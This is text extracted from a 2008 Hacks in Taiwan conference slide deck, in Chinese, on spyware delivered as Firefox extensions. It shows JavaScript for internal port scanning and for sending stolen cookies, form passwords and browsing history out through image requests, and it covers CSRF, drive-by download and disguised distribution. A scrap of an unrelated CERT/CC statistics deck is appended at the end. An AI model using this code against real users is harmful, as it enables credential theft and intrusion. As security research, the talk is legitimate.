PowerPoint 簡報

Size: px

Start display at page:

Download "PowerPoint 簡報"

凯芮
5 years ago
Views:

1 Hacks in Taiwan Conference 2008 Firefox Extension Spyware ant

2 Outline 1. 不安全的 Firefox extension 2. Firefox extension spyware 3. Firefox 3 準備好了嗎

3 不安全的 Firefox extension FormSpy 著名的 Firefox extension spyware 2006/07 發現偽裝成合法的 NumberedLinks 0.9 竊取信用卡卡號密碼網路銀行 PIN 碼以及 ICQ, FTP, IMAP, POP3 的密碼

4 FFsniFF 於 extensions list 中隱藏自身自動化將 Form( 表單 ) 內容經由 SMTP 傳遞 2006/12 支援 Firefox2; 2008/06 支援 Firefox3

5 Sage RSS Reader 2006/09, Cross-Zone Scripting Firebug Javascript debugger 2007/04, Cross-Zone Scripting

6 XPCOM

7 跨平台的安全性問題 (Windows, Linux, BSD, Mac OS)

8 Firefox extension spyware 釣魚網頁內部網路掃描追蹤瀏覽紀錄竊取 cookie 自動化 CSRF 攻擊 FormSpy ReadFile Run Remote App/File

9 1. 釣魚網頁

10 Yahoo! 奇摩登錄網頁

11 Yahoo! 奇摩釣魚網頁

12 Demo

13 <HTML>... <a href=foo>foo</a> <a href=yahoo_login> 登入 </a> <a href=bar>bar</a>... </HTML>

14 2. 內部網路掃描繞過防火牆探巡 Private IP Address 取得內部 IP 得知內網伺服器 IP 及伺服器資訊等

15 SSH HTTP 1 2 NetBIOS FTP

16 SSH HTTP NetBIOS FTP

17 Demo #1

18 IP range Scanning Send

19 status = ""; function callback(target, port, status) { new Image().src= " target="+target+"&port="+port+"&status="+status; }; var AttackAPI = { version: '0.1', author: 'Petko Petkov (architect)', homepage: ' modifyby: 'Yi-Feng Tzeng' };

20 New Image( ) Host : Port timeout Host down Port closed error Host up Port open

21 AttackAPI.PortScanner = {}; AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { var timeout = (timeout == null)?2000:timeout; var img = new Image(); img.onerror = function () { if (!img) return; img = undefined; callback(target, port, 'open'); }; img.onload = img.onerror; img.src = ' + target + ':' + port; settimeout(function () { if (!img) return; img = undefined; callback(target, port, 'closed'); }, timeout); };

22 AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout) { for (p = 1; p < target.length; p++) { for (index = 0; index < ports.length; index++) AttackAPI.PortScanner.scanPort(callback, target[p], ports[index], timeout); } }; AttackAPI.PortScanner.scanTarget(callback, arraddr, port.split(','), 2000);

23 受到限制

24 1. 必須安裝 Java (JRE) 2. 沒有暫存掃描紀錄 3. 無法處理 timeout 問題

25 network.http.max-connections network.http.keep-alive.timeout

26 If full ; IDLE new Image max-connections timout DROP

27 Firefox 2 network.http.max-connections: 24 network.http.keep-alive.timeout: 300 Firefox 3 network.http.max-connections: 30 network.http.keep-alive.timeout: 300

28 掃描過多會遲頓

29 Blind IP guess Scanning Save Send

30 guesslan = [" ", " ", " ", " ", " "]; pref('extensions.resize.guess', true); pref('extensions.resize.lan', ' '); pref('extensions.resize.scanlan', ' '); pref('extensions.resize.lastrun', '');

31 Demo #2

32 Signatures Apache Apache2 EPSON Printer HP Printer /icons/apache_pb.gif /icons/apache_pb2.gif (apache_pb22.gif) EpsonNet_logo.gif /hp/device/images/hp_invent_logo.gif IIS 4.0/5.0 IIS 5.0/5.1/6.0 SunOne WebServer Cisco HTTP LinKsys TightVNC WebLogic Server 8.x thttpd iis4_5.gif iis51_6.gif sun.gif cisco.gif linksys.gif vnc.gif bea.gif thttpd.gif

33 New Image( ) Host : Port error Host up Port open timeout Host down Port closed Signatures

34 3. 追蹤瀏覽紀錄凡走過必留下痕跡

35 1 HTTP 2 HTTP (link)

36 Demo

37 // Get Time var currenttime = new Date(); var year = currenttime.getfullyear(); var month = currenttime.getmonth() + 1; var day = currenttime.getdate(); var hour = currenttime.gethours(); var min = currenttime.getminutes(); var sec = currenttime.getseconds(); var time = year+"-"+month+"-"+day+":"+hour+":"+min+":"+sec; new Image().src= " time="+time+ "&link="+document.location.href+ "&port="+((!document.location.port)?80:document.location.port);

38 4. 竊取 cookie Face Off 你是我我是你

39 1 HTTP (cookie) 3 I'm Bob Bob 4 Hello Bob 2 HTTP (cookie) ant

40 Demo

41 // Get Time var currenttime = new Date(); var year = currenttime.getfullyear(); var month = currenttime.getmonth() + 1; var day = currenttime.getdate(); var hour = currenttime.gethours(); var min = currenttime.getminutes(); var sec = currenttime.getseconds(); var time = year+"-"+month+"-"+day+":"+hour+":"+min+":"+sec; new Image().src= " time="+time+ "&link="+document.location.href+ "&port="+((!document.location.port)?80:document.location.port)+ "&cookie="+document.cookie;

42 5. 自動化 CSRF 攻擊自動化轉帳

43 1 HTTP 2 (cookie)

44 Demo #1

45 new Image().src= "

46 POST Referer Double Cookie Random Tokens

47 1 HTTP 3 CSRF 2 HTTP (cookie)

48 Demo #2

49 new Image().src= "

50 6. FormSpy 你提交的內容也請送我一份

51 Yahoo! 奇摩登錄網頁

52 1 HTTP 2 HTTP 3 HTTP (submit) 4 HTTP (submit)

53 Demo

54 <HTML>... <FORM>... <input type=text...> <input type=password...>... </FORM>... </HTML>

55 if (gotpasswd == 1) { new Image().src= " "&link="+document.location.href+ "&port="+((!document.location.port)?80:document.location.port)+ "&data="+data; }

56 FormSpy 自動化 CSRF 追蹤瀏覽紀錄竊取 cookie

57 7. ReadFile 秀一下你的檔案好嗎

58 2 HTTP 1 Read

59 Demo

60 8. Run Remote App/File Drive-by download

61 1 HTTP 2 Run

62 Demo

63 A D 內部網路入侵內部網路掃描 C 下載惡意程式 B Extension 更新

64 散佈

65 Firefox 懶人包 ( 內附 spyware ) ( 隱藏 spyware )

66 偽裝中文化相容版功能強化 ( 論壇式散佈 ) ( 5 天後隱藏 )

67 偽裝實例 resizeable textarea (phishing)

68 Dashboard (zombie)

69 Gmail 實例

70 1 HTTP (cookie) 3 HTTP (cookie) 2 HTTP (cookie)

71 Firefox 3 準備好了嗎 Firefox 3 限制了部分 extension 能力禁斷 document.write 呼叫外部函式 eg: new java.net.socket() etc. 但是對上述攻擊保護了多少 NoScript HTTP-only cookies (Firefox3) Firefox 4

72 Greasemonkey Script

73 知己百知戰彼不殆孫子謀攻篇

SEC-220

SEC-220 Session CERT/CC 60000 50000 40000 52,658 30000 26,829 20000 10000 0 2,412 1995 1999 2000 2001 Q1, 2002 Source: http://www.cert.org/stats/ CERT/CC 3000 2500 2000 2,437 1500 1000 500 0 171 1,065 1995